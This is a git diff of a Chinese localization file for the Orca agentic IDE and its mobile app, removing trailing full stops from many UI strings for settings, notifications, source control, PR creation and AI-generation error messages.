       "sourceCode": "Orca 源代码",
       "tagline": "助力开发者百倍提效的开源智能体 IDE",
@@ -2781,13 +2788,13 @@
     },
     "appearance": {
       "language": {
-        "description": "选择“系统”时，将跟随此设备的语言。权限提示始终使用设备语言。",
+        "description": "选择“系统”时，将跟随此设备的语言。权限提示始终使用设备语言",
         "heading": "语言",
         "systemWithCurrent": "系统（{{language}}）"
       },
       "theme": {
         "dark": "深色",
-        "description": "选择“系统”时，将跟随此设备的浅色或深色设置。",
+        "description": "选择“系统”时，将跟随此设备的浅色或深色设置",
         "heading": "主题",
         "light": "浅色",
         "system": "系统"
@@ -2796,14 +2803,14 @@
     },
     "browserSettingsScreen": {
       "desktopBrowser": "桌面 Orca 浏览器",
-      "desktopBrowserDescription": "在已配对桌面通过串流提供的浏览器中打开。",
-      "linksDescription": "选择点按终端输出中的 HTTP(S) 链接时使用的浏览器。",
+      "desktopBrowserDescription": "在已配对桌面通过串流提供的浏览器中打开",
+      "linksDescription": "选择点按终端输出中的 HTTP(S) 链接时使用的浏览器",
       "linksHeading": "链接",
-      "loadFailed": "无法加载浏览器偏好设置。请重试。",
+      "loadFailed": "无法加载浏览器偏好设置。请重试",
       "openTerminalLinks": "打开终端链接",
       "phoneBrowser": "手机浏览器",
-      "phoneBrowserDescription": "在此手机的 Safari、Chrome 或其他浏览器中打开。",
-      "saveFailed": "无法保存浏览器偏好设置。请重试。",
+      "phoneBrowserDescription": "在此手机的 Safari、Chrome 或其他浏览器中打开",
+      "saveFailed": "无法保存浏览器偏好设置。请重试",
       "title": "浏览器"
     },
     "menuItems": {
@@ -2821,7 +2828,7 @@
       "support": "支持"
     },
     "nativeChatSettingsScreen": {
-      "defaultViewDescription": "选择受支持的智能体会话（Claude、Codex 及其他支持聊天的智能体）在此设备上的打开方式。终端显示原始 CLI；聊天界面则显示与桌面应用类似的聊天界面。您仍可通过长按菜单切换单个会话的视图。",
+      "defaultViewDescription": "选择受支持的智能体会话（Claude、Codex 及其他支持聊天的智能体）在此设备上的打开方式。终端显示原始 CLI；聊天界面则显示与桌面应用类似的聊天界面。您仍可通过长按菜单切换单个会话的视图",
       "defaultViewHeading": "默认视图",
       "off": "关闭",
       "on": "开启",
@@ -2829,21 +2836,21 @@
       "title": "聊天界面"
     },
     "nativeNotificationDeliverySettings": {
-      "loadFailed": "无法加载通知投递设置。请重新打开此页面重试。",
-      "saveFailed": "无法保存通知投递设置。请重试。",
-      "updateDesktopHint": "配对已更新的桌面，即可在此手机上接收通知。"
+      "loadFailed": "无法加载通知投递设置。请重新打开此页面重试",
+      "saveFailed": "无法保存通知投递设置。请重试",
+      "updateDesktopHint": "配对已更新的桌面，即可在此手机上接收通知"
     },
     "notificationDisplayTest": {
-      "accepted": "Orca 推送服务已接受请求。请查看通知。",
-      "connectDesktop": "请先连接桌面，然后重试。",
+      "accepted": "Orca 推送服务已接受请求。请查看通知",
+      "connectDesktop": "请先连接桌面，然后重试",
       "description": "测试推送送达；推送不可用时，测试本地通知。",
-      "desktopUnreachable": "无法连接到桌面。请重试。",
-      "loadFailed": "无法加载已配对的桌面。",
-      "pairDesktop": "请先配对桌面，然后重试。",
-      "pushServiceFailed": "无法通过 Orca 推送服务发送。请重试。",
-      "rateLimited": "通知发送过于频繁。请稍后重试。",
+      "desktopUnreachable": "无法连接到桌面。请重试",
+      "loadFailed": "无法加载已配对的桌面",
+      "pairDesktop": "请先配对桌面，然后重试",
+      "pushServiceFailed": "无法通过 Orca 推送服务发送。请重试",
+      "rateLimited": "通知发送过于频繁。请稍后重试",
       "sendButton": "发送测试通知",
-      "sendFailed": "无法发送测试推送。",
+      "sendFailed": "无法发送测试推送",
       "sending": "正在发送…",
       "troubleReceivingAlerts": "接收提醒遇到问题？",
       "troubleshooting": "故障排查",
@@ -2858,40 +2865,40 @@
       "liveFallbackScheduled": "{{reason}} 已安排本地测试。请检查通知。Orca 运行且保持连接时，可接收实时提醒。"
     },
     "notificationSettingsScreen": {
-      "description": "智能体需要您提供输入或已完成任务时，在此设备上接收通知。",
+      "description": "智能体需要您提供输入或已完成任务时，在此设备上接收通知",
       "enableNotifications": "启用通知",
-      "loadFailed": "无法加载通知设置。请重试。",
-      "notificationsBlocked": "系统设置中已禁用通知。",
+      "loadFailed": "无法加载通知设置。请重试",
+      "notificationsBlocked": "系统设置中已禁用通知",
       "openSettings": "打开设置",
-      "openSettingsFailed": "无法打开系统设置。请重试。",
-      "saveFailed": "无法保存通知设置。请重试。",
+      "openSettingsFailed": "无法打开系统设置。请重试",
+      "saveFailed": "无法保存通知设置。请重试",
       "title": "通知"
     },
     "pendingCredentialCleanupCard": {
-      "cleanupUnconfirmed_one": "无法确认此设备上的 {{count}} 个凭据是否已清理。",
-      "cleanupUnconfirmed_other": "无法确认此设备上的 {{count}} 个凭据是否已清理。",
+      "cleanupUnconfirmed_one": "无法确认此设备上的 {{count}} 个凭据是否已清理",
+      "cleanupUnconfirmed_other": "无法确认此设备上的 {{count}} 个凭据是否已清理",
       "retryCleanup": "重试清除配对凭据",
-      "retryFailed": "仍无法确认清理结果。请稍后重试。",
-      "statusCheckFailed": "无法检查此设备上的清理状态。为确保安全，请重试。",
+      "retryFailed": "仍无法确认清理结果。请稍后重试",
+      "statusCheckFailed": "无法检查此设备上的清理状态。为确保安全，请重试",
       "title": "配对凭据清理"
     },
     "uiLanguageSettingsSection": {
       "pseudoLanguage": "伪本地化（en-XA）"
     },
     "voiceSettingsScreen": {
-      "connectDesktop": "连接到桌面后即可管理语音设置。",
+      "connectDesktop": "连接到桌面后即可管理语音设置",
       "deleteFailed": "删除失败",
-      "dictationDescription": "通过听写向桌面上任意获得焦点的窗格输入文本。",
+      "dictationDescription": "通过听写向桌面上任意获得焦点的窗格输入文本",
       "dictationHeading": "听写",
       "dictationMode": "听写模式",
-      "dictationModeDescription": "切换：按一次开始，再按一次停止。按住：按住期间进行听写。",
+      "dictationModeDescription": "切换：按一次开始，再按一次停止。按住：按住期间进行听写",
       "dictationModeWithAutoDescription": "自动：轻按开始和停止；在电脑上按住快捷键会一直录音，直到松开。按住：按住期间进行听写。切换：按一次开始，再按一次停止。",
       "autoMode": "自动",
       "downloadFailed": "下载失败",
       "enableDictation": "启用语音听写",
       "holdMode": "按住",
       "loadFailed": "加载语音设置失败",
-      "loadFailedMessage": "加载语音设置失败。",
+      "loadFailedMessage": "加载语音设置失败",
       "noneSelected": "未选择",
       "selectModelFailed": "无法选择模型",
       "speechModel": "语音模型",
@@ -2924,31 +2931,31 @@
       "waitingForDesktop": "正在等待桌面…"
     },
     "actions": {
-      "checkingReviewStatus": "正在检查评审状态。",
-      "checkoutBeforePublish": "请先检出分支再发布提交。",
-      "commitStagedChanges": "提交已暂存的更改。",
-      "committing": "正在提交。",
+      "checkingReviewStatus": "正在检查评审状态",
+      "checkoutBeforePublish": "请先检出分支再发布提交",
+      "commitStagedChanges": "提交已暂存的更改",
+      "committing": "正在提交",
       "createPr": "创建PR",
-      "enterCommitMessage": "请输入提交信息后再提交。",
-      "forcePushWithLease": "使用 lease 强制推送以更新远程分支。",
-      "forcePushing": "正在强制推送。",
-      "linkedReviewUnavailable": "关联的评审分支不可用。",
-      "publishToOrigin": "将此分支发布到 origin。",
-      "pullCommits_one": "拉取 {{count}} 个提交。",
-      "pullCommits_other": "拉取 {{count}} 个提交。",
+      "enterCommitMessage": "请输入提交信息后再提交",
+      "forcePushWithLease": "使用 lease 强制推送以更新远程分支",
+      "forcePushing": "正在强制推送",
+      "linkedReviewUnavailable": "关联的评审分支不可用",
+      "publishToOrigin": "将此分支发布到 origin",
+      "pullCommits_one": "拉取 {{count}} 个提交",
+      "pullCommits_other": "拉取 {{count}} 个提交",
       "pushAndCreatePr": "推送并创建 PR",
-      "pushCommits_one": "推送 {{count}} 个提交。",
-      "pushCommits_other": "推送 {{count}} 个提交。",
-      "pushLinkedReview": "将更新推送到关联的评审分支。",
-      "remoteOperationInProgress": "正在执行远程操作。",
-      "resolveConflicts": "请先解决冲突再提交。",
-      "reviewAlreadyMerged": "没有可提交的内容。评审已合并。",
-      "stageAllChanges": "暂存全部更改。",
-      "stageFileToCommit": "请至少暂存一个文件后再提交。",
+      "pushCommits_one": "推送 {{count}} 个提交",
+      "pushCommits_other": "推送 {{count}} 个提交",
+      "pushLinkedReview": "将更新推送到关联的评审分支",
+      "remoteOperationInProgress": "正在执行远程操作",
+      "resolveConflicts": "请先解决冲突再提交",
+      "reviewAlreadyMerged": "没有可提交的内容。评审已合并",
+      "stageAllChanges": "暂存全部更改",
+      "stageFileToCommit": "请至少暂存一个文件后再提交",
       "switchBranch": "切换分支",
-      "syncCounts": "拉取 {{behind}} 个提交，推送 {{ahead}} 个提交。",
-      "upToDate": "没有可提交的内容。分支已是最新状态。",
-      "waitForRemoteOperation": "请在远程操作完成后重试。"
+      "syncCounts": "拉取 {{behind}} 个提交，推送 {{ahead}} 个提交",
+      "upToDate": "没有可提交的内容。分支已是最新状态",
+      "waitForRemoteOperation": "请在远程操作完成后重试"
     },
     "branchBaseRef": {
       "resolveFailed": "无法解析基础分支"
@@ -2961,7 +2968,7 @@
       "sectionTitle": "已提交的更改"
     },
     "branchCompareOutcome": {
-      "baseBranchUnavailable": "无法解析用于比较的基础分支。",
+      "baseBranchUnavailable": "无法解析用于比较的基础分支",
       "loadFailed": "无法加载已提交的更改"
     },
     "commitDropdown": {
@@ -2994,7 +3001,7 @@
       "hideFailureDetails": "隐藏提交失败详情",
       "showDetails": "显示详情",
       "showFailureDetails": "显示提交失败详情",
-      "summary": "提交失败。",
+      "summary": "提交失败",
       "title": "提交失败"
     },
     "commitMessageAi": {
@@ -3012,13 +3019,13 @@
     },
     "content": {
       "cancelGeneration": "取消生成提交信息",
-      "commitMessageDisabled": "提交信息输入已禁用。没有已暂存的文件。",
+      "commitMessageDisabled": "提交信息输入已禁用。没有已暂存的文件",
       "commitMessagePlaceholder": "提交信息",
-      "emptyMessage": "工作树无更改。",
+      "emptyMessage": "工作树无更改",
       "emptyTitle": "无本地更改",
       "generateMessage": "使用 AI 生成提交信息",
       "reconnecting": "正在重新连接桌面…",
-      "regenerateHint": "清除消息以重新生成。"
+      "regenerateHint": "清除消息以重新生成"
     },
     "createPrAction": {
       "checkingStatus": "正在检查评审状态…",
@@ -3036,16 +3043,16 @@
       "pushCount_other": "推送 {{count}} 个提交",
       "remoteBranchFallback": "远程分支",
       "syncCounts": "拉取 {{behind}} 个，推送 {{ahead}} 个",
-      "titleForcePushOlderCopiesBranch": "远程只有本地提交的旧副本。使用 lease 强制推送此分支以更新 {{upstreamName}}。",
-      "titleForcePushOlderCopiesCount_one": "远程只有本地提交的旧副本。使用 lease 强制推送 {{count}} 个分支提交以更新 {{upstreamName}}。",
-      "titleForcePushOlderCopiesCount_other": "远程只有本地提交的旧副本。使用 lease 强制推送 {{count}} 个分支提交以更新 {{upstreamName}}。",
-      "titleManualForcePushReplaceRemote_one": "使用 lease 强制推送 {{count}} 个本地提交以更新 {{upstreamName}}，并替换仅存在于远程的提交。",
-      "titleManualForcePushReplaceRemote_other": "使用 lease 强制推送 {{count}} 个本地提交以更新 {{upstreamName}}，并替换仅存在于远程的提交。",
-      "titleManualForcePush_one": "使用 lease 强制推送 {{count}} 个本地提交以更新 {{upstreamName}}。",
-      "titleManualForcePush_other": "使用 lease 强制推送 {{count}} 个本地提交以更新 {{upstreamName}}。",
-      "titleUnpublishedForcePushBranch": "使用 lease 强制推送此分支，并在需要时设置上游。",
-      "titleUnpublishedForcePushCount_one": "使用 lease 强制推送 {{count}} 个分支提交，并在需要时设置上游。",
-      "titleUnpublishedForcePushCount_other": "使用 lease 强制推送 {{count}} 个分支提交，并在需要时设置上游。"
+      "titleForcePushOlderCopiesBranch": "远程只有本地提交的旧副本。使用 lease 强制推送此分支以更新 {{upstreamName}}",
+      "titleForcePushOlderCopiesCount_one": "远程只有本地提交的旧副本。使用 lease 强制推送 {{count}} 个分支提交以更新 {{upstreamName}}",
+      "titleForcePushOlderCopiesCount_other": "远程只有本地提交的旧副本。使用 lease 强制推送 {{count}} 个分支提交以更新 {{upstreamName}}",
+      "titleManualForcePushReplaceRemote_one": "使用 lease 强制推送 {{count}} 个本地提交以更新 {{upstreamName}}，并替换仅存在于远程的提交",
+      "titleManualForcePushReplaceRemote_other": "使用 lease 强制推送 {{count}} 个本地提交以更新 {{upstreamName}}，并替换仅存在于远程的提交",
+      "titleManualForcePush_one": "使用 lease 强制推送 {{count}} 个本地提交以更新 {{upstreamName}}",
+      "titleManualForcePush_other": "使用 lease 强制推送 {{count}} 个本地提交以更新 {{upstreamName}}",
+      "titleUnpublishedForcePushBranch": "使用 lease 强制推送此分支，并在需要时设置上游",
+      "titleUnpublishedForcePushCount_one": "使用 lease 强制推送 {{count}} 个分支提交，并在需要时设置上游",
+      "titleUnpublishedForcePushCount_other": "使用 lease 强制推送 {{count}} 个分支提交，并在需要时设置上游"
     },
     "fileRows": {
       "addedByThem": "对方已添加",
@@ -3053,7 +3060,7 @@
       "bothAdded": "双方均已添加",
       "bothDeleted": "双方均已删除",
       "bothModified": "双方均已修改",
-      "committedUnavailable": "已提交的更改不可用。",
+      "committedUnavailable": "已提交的更改不可用",
       "deletedByThem": "对方已删除",
       "deletedByUs": "我方已删除",
       "loadingCommitted": "正在加载已提交的更改…",
@@ -3082,7 +3089,7 @@
     "gitHistoryList": {
       "loadFailed": "加载历史记录失败",
       "loadFilesFailed": "无法加载提交文件",
-      "noCommits": "暂无提交。",
+      "noCommits": "暂无提交",
       "noFileChanges": "无文件更改",
       "retryFiles": "重试加载提交文件",
       "waitingForDesktop": "正在等待桌面…"
@@ -3125,17 +3132,17 @@
       "pushSucceeded": "推送成功，但创建 {{shortLabel}} 失败：{{error}}"
     },
     "hostedReviewCreateIntent": {
-      "branchChanged": "准备创建 PR 时分支发生了变化。",
-      "generateMessageFailed": "无法生成提交信息。请在“源代码控制”中填写后重试。",
-      "resolveConflicts": "请先解决冲突，再创建 PR。",
-      "resolveOrStageChanges": "请先处理或暂存更改，再创建 PR。",
-      "reviewCommitMessage": "请先检查提交信息，然后重试创建 PR。"
+      "branchChanged": "准备创建 PR 时分支发生了变化",
+      "generateMessageFailed": "无法生成提交信息。请在“源代码控制”中填写后重试",
+      "resolveConflicts": "请先解决冲突，再创建 PR",
+      "resolveOrStageChanges": "请先处理或暂存更改，再创建 PR",
+      "reviewCommitMessage": "请先检查提交信息，然后重试创建 PR"
     },
     "hostedReviewGitPreparation": {
       "commitFailed": "提交失败",
       "refreshFailed": "无法刷新源代码控制",
       "stageFailed": "暂存更改失败",
-      "updateBranchFailed": "无法更新远程分支。请重试创建 PR。"
+      "updateBranchFailed": "无法更新远程分支。请重试创建 PR"
     },
     "hostedReviewRemotePrerequisite": {
       "forcePushFailed": "使用 lease 强制推送失败",
@@ -3144,7 +3151,7 @@
     },
     "hostedReviewService": {
       "createFailed": "创建 PR 失败",
-      "pushBeforeCreateFailed": "推送失败。请解决推送错误后重试。"
+      "pushBeforeCreateFailed": "推送失败。请解决推送错误后重试"
     },
     "hubTab": {
       "changes": "更改"
@@ -3152,13 +3159,13 @@
     "loaders": {
       "connectingToDesktop": "正在连接桌面…",
       "loadFailed": "无法加载源代码控制",
-      "updateDesktop": "请更新 Orca 桌面端，以在手机上使用源代码控制。",
+      "updateDesktop": "请更新 Orca 桌面端，以在手机上使用源代码控制",
       "waitingForDesktop": "正在等待桌面…"
     },
     "modals": {
       "currentBranch": "当前",
       "discardButton": "放弃",
-      "discardConfirmMessage": "放弃对“{{path}}”的更改？此操作无法撤销。",
+      "discardConfirmMessage": "放弃对“{{path}}”的更改？此操作无法撤销",
       "discardTitle": "放弃更改",
       "openPrMessage": "在浏览器中打开？",
       "openPrWithWarning": "在浏览器中打开？\n\n{{warning}}",
@@ -3169,22 +3176,22 @@
       "unavailableTitle": "源代码控制不可用"
     },
     "prCreate": {
-      "authRequired": "请在创建 {{reviewLabel}} 之前完成身份验证。",
-      "baseNotOnRemote": "请先推送基础分支，再创建 {{reviewLabel}}。",
-      "createdNotRefreshed": "{{titleLabel}} 已创建，但 Orca 暂时无法刷新其信息。",
-      "defaultBranch": "请在创建 {{reviewLabel}} 之前切换到功能分支。",
-      "detachedHead": "请在创建 {{reviewLabel}} 之前检出分支。",
-      "dirty": "请在创建 {{reviewLabel}} 之前提交更改。",
-      "existing": "{{titleLabel}} 已处于开放状态。",
-      "existingNumber": "{{titleLabel}} #{{number}} 已处于开放状态。",
-      "existingReview": "此分支已存在 {{reviewLabel}}。",
-      "forkHeadUnsupported": "不支持从此复刻仓库创建 {{reviewLabel}}。",
-      "lookupUnconfirmed": "Orca 无法确认此分支是否已有 {{reviewLabel}}。请稍后重试。",
-      "needsSync": "请在创建 {{reviewLabel}} 之前同步此分支。",
-      "noUpstream": "请在创建 {{reviewLabel}} 之前发布提交。",
-      "notReady": "此分支尚不具备创建 {{reviewLabel}} 的条件。",
-      "unsupportedMergeRequests": "此仓库不支持创建合并请求。",
-      "unsupportedPullRequests": "此仓库不支持创建 PR。"
+      "authRequired": "请在创建 {{reviewLabel}} 之前完成身份验证",
+      "baseNotOnRemote": "请先推送基础分支，再创建 {{reviewLabel}}",
+      "createdNotRefreshed": "{{titleLabel}} 已创建，但 Orca 暂时无法刷新其信息",
+      "defaultBranch": "请在创建 {{reviewLabel}} 之前切换到功能分支",
+      "detachedHead": "请在创建 {{reviewLabel}} 之前检出分支",
+      "dirty": "请在创建 {{reviewLabel}} 之前提交更改",
+      "existing": "{{titleLabel}} 已处于开放状态",
+      "existingNumber": "{{titleLabel}} #{{number}} 已处于开放状态",
+      "existingReview": "此分支已存在 {{reviewLabel}}",
+      "forkHeadUnsupported": "不支持从此复刻仓库创建 {{reviewLabel}}",
+      "lookupUnconfirmed": "Orca 无法确认此分支是否已有 {{reviewLabel}}。请稍后重试",
+      "needsSync": "请在创建 {{reviewLabel}} 之前同步此分支",
+      "noUpstream": "请在创建 {{reviewLabel}} 之前发布提交",
+      "notReady": "此分支尚不具备创建 {{reviewLabel}} 的条件",
+      "unsupportedMergeRequests": "此仓库不支持创建合并请求",
+      "unsupportedPullRequests": "此仓库不支持创建 PR"
     },
     "prLink": {
       "updatePullRequestFailed": "更新关联的 PR 失败",
@@ -3258,84 +3265,84 @@
       "syncStatus": "领先 {{ahead}}，落后 {{behind}}"
     },
     "textGenerationFailure": {
-      "agentBinaryNotFound": "在 PATH 中找不到 {{binary}}。请安装 {{label}} 以使用 AI 提交信息。",
-      "agentCannotGenerateBranchName": "智能体“{{agent}}”不支持源代码控制 AI 分支名称。支持的智能体：{{agents}}，或选择“自定义命令”。",
-      "agentCannotGenerateChatName": "智能体“{{agent}}”不支持聊天名称。支持的智能体：{{agents}}，或选择“自定义命令”。",
-      "agentCannotGenerateCommitMessage": "智能体“{{agent}}”不支持源代码控制 AI 提交信息。支持的智能体：{{agents}}，或选择“自定义命令”。",
-      "agentCannotGeneratePullRequest": "智能体“{{agent}}”不支持源代码控制 AI PR 详情。支持的智能体：{{agents}}，或选择“自定义命令”。",
-      "agentCouldNotStart": "无法启动 {{label}}。请在设置中检查智能体命令后重试。",
-      "agentFailedToStart": "{{label}} 启动失败。请在设置中检查智能体命令后重试。",
-      "agentReportedError": "{{label}} 报告了错误。",
-      "antigravityInvalidEvents": "Antigravity 返回了无效的 JSON 事件。",
-      "antigravityInvalidResult": "Antigravity 返回了无效的结果。",
-      "antigravityNoFinalResult": "Antigravity 未返回最终结果。",
-      "chatNameAgentUnsupported": "请在设置 -> 聊天 -> 聊天名称中为此操作选择支持的聊天命名智能体。支持的智能体：{{agents}}，或选择“自定义命令”。",
-      "chatNameCustomCommandEmpty": "自定义命令为空。请在设置 -> 聊天 -> 聊天名称中添加。",
-      "cliFailed": "{{label}} CLI 命令执行失败，退出码为 {{exitCode}}。",
+      "agentBinaryNotFound": "在 PATH 中找不到 {{binary}}。请安装 {{label}} 以使用 AI 提交信息",
+      "agentCannotGenerateBranchName": "智能体“{{agent}}”不支持源代码控制 AI 分支名称。支持的智能体：{{agents}}，或选择“自定义命令”",
+      "agentCannotGenerateChatName": "智能体“{{agent}}”不支持聊天名称。支持的智能体：{{agents}}，或选择“自定义命令”",
+      "agentCannotGenerateCommitMessage": "智能体“{{agent}}”不支持源代码控制 AI 提交信息。支持的智能体：{{agents}}，或选择“自定义命令”",
+      "agentCannotGeneratePullRequest": "智能体“{{agent}}”不支持源代码控制 AI PR 详情。支持的智能体：{{agents}}，或选择“自定义命令”",
+      "agentCouldNotStart": "无法启动 {{label}}。请在设置中检查智能体命令后重试",
+      "agentFailedToStart": "{{label}} 启动失败。请在设置中检查智能体命令后重试",
+      "agentReportedError": "{{label}} 报告了错误",
+      "antigravityInvalidEvents": "Antigravity 返回了无效的 JSON 事件",
+      "antigravityInvalidResult": "Antigravity 返回了无效的结果",
+      "antigravityNoFinalResult": "Antigravity 未返回最终结果",
+      "chatNameAgentUnsupported": "请在设置 -> 聊天 -> 聊天名称中为此操作选择支持的聊天命名智能体。支持的智能体：{{agents}}，或选择“自定义命令”",
+      "chatNameCustomCommandEmpty": "自定义命令为空。请在设置 -> 聊天 -> 聊天名称中添加",
+      "cliFailed": "{{label}} CLI 命令执行失败，退出码为 {{exitCode}}",
       "cliFailedWithDetail": "{{label}} CLI 命令执行失败，退出码为 {{exitCode}}：{{detail}}",
-      "cliTerminated": "{{label}} CLI 命令在退出前被终止。",
+      "cliTerminated": "{{label}} CLI 命令在退出前被终止",
       "cliTerminatedWithDetail": "{{label}} CLI 命令在退出前被终止：{{detail}}",
-      "commandTemplateEmptyBranchName": "分支名称的命令模板为空。",
-      "commandTemplateEmptyChatName": "聊天名称的命令模板为空。",
-      "commandTemplateEmptyCommitMessage": "提交信息的命令模板为空。",
-      "commandTemplateEmptyPullRequest": "PR 详情的命令模板为空。",
-      "commitMessageUnparseable": "无法解析生成的提交信息。",
-      "emptyCommitMessage": "{{label}} 返回了空消息。",
+      "commandTemplateEmptyBranchName": "分支名称的命令模板为空",
+      "commandTemplateEmptyChatName": "聊天名称的命令模板为空",
+      "commandTemplateEmptyCommitMessage": "提交信息的命令模板为空",
+      "commandTemplateEmptyPullRequest": "PR 详情的命令模板为空",
+      "commitMessageUnparseable": "无法解析生成的提交信息",
+      "emptyCommitMessage": "{{label}} 返回了空消息",
       "emptyCommitMessageWithDetail": "{{label}} 返回了空消息。CLI 输出：{{detail}}",
-      "emptyJiraSummary": "{{label}} 返回的标题为空。",
+      "emptyJiraSummary": "{{label}} 返回的标题为空",
       "emptyJiraSummaryWithDetail": "{{label}} 返回的标题为空。CLI 输出：{{detail}}",
-      "emptyPullRequestDetails": "{{label}} 返回了空的详细信息。",
+      "emptyPullRequestDetails": "{{label}} 返回了空的详细信息",
       "emptyPullRequestDetailsWithDetail": "{{label}} 返回了空的详细信息。CLI 输出：{{detail}}",
-      "jiraAccountDisconnected": "请在此主机上重新连接所选的 Jira 账户。",
-      "jiraDescriptionRequired": "描述为必填项。",
-      "jiraSummaryBusyInOtherDraft": "另一个草稿中已在生成 Jira 标题。",
-      "jiraSummaryEmptyAfterSanitization": "生成的标题在清理后为空。",
-      "kimiAgentChangeOnResume": "Kimi 无法在恢复会话时更改智能体。请修改生成预设或 CLI 参数，移除智能体覆盖设置或改为启动新会话。",
-      "kimiAgentOptionsConflict": "Kimi 收到了冲突或重复的智能体选项。请在生成预设或 CLI 参数中仅保留一个 --agent 或 --agent-file 选项，然后重试。",
-      "kimiAuthFailed": "Kimi 无法通过身份验证。请在执行主机上登录或修正提供者凭据，然后重试。",
-      "kimiCancelled": "Kimi 在完成文本生成前取消了请求。请重试。",
-      "kimiConfigInvalid": "Kimi 的配置无效。请在重试前检查执行主机上的模型和提供者配置。",
-      "kimiConflictingOptions": "Kimi 收到了冲突的选项：{{option}} 与 {{otherOption}}。请在重试前修正生成预设或 CLI 参数。",
-      "kimiConnectionFailed": "Kimi 无法连接到提供者。请检查执行主机上的网络，然后重试。",
-      "kimiContextOverflow": "Kimi 的上下文已用尽。请缩短提示词或启动新会话，然后重试。",
-      "kimiContinueSessionConflict": "Kimi 收到了冲突的选项：--continue, --session。请在重试前修正生成预设或 CLI 参数。",
-      "kimiCredentialVariableMissing": "Kimi 缺少已配置的凭据环境变量。请在执行主机上设置该变量后重试。",
-      "kimiCredentialsRequired": "Kimi 需要提供者凭据。请在执行主机上打开 Kimi，配置提供者或登录，然后重试。",
-      "kimiEmptyAgent": "Kimi 收到的智能体为空。请修正生成预设或 CLI 参数中的该项输入，然后重试。",
-      "kimiEmptyAgentFilePath": "Kimi 收到了空的智能体文件路径。请修正生成预设或 CLI 参数中的该项输入，然后重试。",
-      "kimiEmptyModel": "Kimi 收到的模型为空。请修正生成预设或 CLI 参数中的该项输入，然后重试。",
-      "kimiEmptyPrompt": "Kimi 收到了空提示词。请修正生成预设或 CLI 参数中的该项输入，然后重试。",
-      "kimiFailed": "Kimi 未能完成文本生成。请在执行主机上打开 Kimi，检查失败原因后再重试。",
-      "kimiInterrupted": "Kimi 在完成文本生成前被中断。请重试。",
-      "kimiModelMissing": "Kimi 未配置可用模型。请在执行主机上打开 Kimi，配置或选择模型，然后重试。",
-      "kimiOptionRejected": "Kimi 拒绝了某个选项或参数。请修正生成预设或 CLI 参数，然后重试。",
-      "kimiOutputFormatInvalid": "Kimi 输出格式需要提示词模式及受支持的 text 或 stream-json 值。请在重试前修正生成预设或 CLI 参数。",
-      "kimiPromptHookBlocked": "Kimi 提示词钩子阻止了请求，或无法启动此轮交互。请在重试前检查 Kimi 钩子和配置。",
-      "kimiProviderLimited": "Kimi 已达到提供者限制，或提供者正忙。请等待后再重试，或降低请求频率。",
-      "kimiResponseBlocked": "Kimi 无法返回响应，因为响应被阻止。请在重试前修改提示词或模型配置。",
-      "kimiSessionIdRequired": "Kimi 在提示词模式下恢复会话需要会话 ID。请修正生成预设或 CLI 参数，然后重试。",
-      "kimiSessionNotFound": "Kimi 找不到请求的会话。请使用现有会话或启动新会话。",
-      "kimiSessionOccupied": "Kimi 无法使用此会话，因为它在另一个客户端中处于活动状态。请在该客户端中停止会话或退出该客户端，然后重试。",
-      "kimiSessionOtherDirectory": "此 Kimi 会话属于另一个目录。请在该目录中恢复会话，或使用为此工作区创建的会话。",
-      "kimiUnreadableOutput": "Kimi 返回了 Orca 无法读取的输出。请重试。",
-      "noBranchChanges": "没有可供总结的分支更改。",
-      "noModelForAgent": "{{label}} 没有可用的模型。",
-      "noStagedChanges": "没有可供总结的已暂存更改。",
-      "openCodeInvalidEvents": "OpenCode 返回了无效的 JSON 事件。",
-      "outputTooLarge": "{{label}} CLI 命令产生了过多输出。请检查智能体的 CLI 配置后重试。",
-      "planAgentUnsupported": "智能体“{{agent}}”不支持 AI 提交信息。",
-      "planCustomCommandEmpty": "自定义命令为空。请在设置 → Git → AI 提交信息中添加。",
-      "planModelUnavailable": "模型“{{model}}”不可用于 {{label}}。",
-      "planModelWithoutThinking": "模型“{{model}}”不支持思考强度设置。",
-      "planThinkingLevelInvalid": "思考级别“{{level}}”对 {{model}} 无效。",
-      "promptTooLargeForArgument": "{{label}} 的提示词过大，无法作为单个命令行参数传递。请减少暂存的更改后重试。",
-      "promptTooLargeForWindows": "{{label}} 的提示词过大，无法用于 Windows 命令行。请减少暂存的更改后重试。",
-      "pullRequestDetailsUnparseable": "无法解析生成的 PR 详情。",
-      "sourceControlAgentUnsupported": "请在设置 -> Git -> 源代码控制 AI 中为此操作选择支持的智能体。支持的智能体：{{agents}}，或选择“自定义命令”。",
-      "sourceControlCustomCommandEmpty": "自定义命令为空。请在设置 -> Git -> 源代码控制 AI 中添加。",
-      "stagedChangesReadFailed": "无法读取已暂存的更改。",
-      "timedOut": "生成在 {{seconds}} 秒后超时。",
-      "windowsBatchUnsafeArguments": "{{label}} 通过 Windows 批处理脚本运行，该脚本无法将多行提示词作为参数接收。请在设置中指定智能体的可执行文件，或使用不含 {prompt} 的自定义命令，让 Orca 通过 stdin 发送提示词。"
+      "jiraAccountDisconnected": "请在此主机上重新连接所选的 Jira 账户",
+      "jiraDescriptionRequired": "描述为必填项",
+      "jiraSummaryBusyInOtherDraft": "另一个草稿中已在生成 Jira 标题",
+      "jiraSummaryEmptyAfterSanitization": "生成的标题在清理后为空",
+      "kimiAgentChangeOnResume": "Kimi 无法在恢复会话时更改智能体。请修改生成预设或 CLI 参数，移除智能体覆盖设置或改为启动新会话",
+      "kimiAgentOptionsConflict": "Kimi 收到了冲突或重复的智能体选项。请在生成预设或 CLI 参数中仅保留一个 --agent 或 --agent-file 选项，然后重试",
+      "kimiAuthFailed": "Kimi 无法通过身份验证。请在执行主机上登录或修正提供者凭据，然后重试",
+      "kimiCancelled": "Kimi 在完成文本生成前取消了请求。请重试",
+      "kimiConfigInvalid": "Kimi 的配置无效。请在重试前检查执行主机上的模型和提供者配置",
+      "kimiConflictingOptions": "Kimi 收到了冲突的选项：{{option}} 与 {{otherOption}}。请在重试前修正生成预设或 CLI 参数",
+      "kimiConnectionFailed": "Kimi 无法连接到提供者。请检查执行主机上的网络，然后重试",
+      "kimiContextOverflow": "Kimi 的上下文已用尽。请缩短提示词或启动新会话，然后重试",
+      "kimiContinueSessionConflict": "Kimi 收到了冲突的选项：--continue, --session。请在重试前修正生成预设或 CLI 参数",
+      "kimiCredentialVariableMissing": "Kimi 缺少已配置的凭据环境变量。请在执行主机上设置该变量后重试",
+      "kimiCredentialsRequired": "Kimi 需要提供者凭据。请在执行主机上打开 Kimi，配置提供者或登录，然后重试",
+      "kimiEmptyAgent": "Kimi 收到的智能体为空。请修正生成预设或 CLI 参数中的该项输入，然后重试",
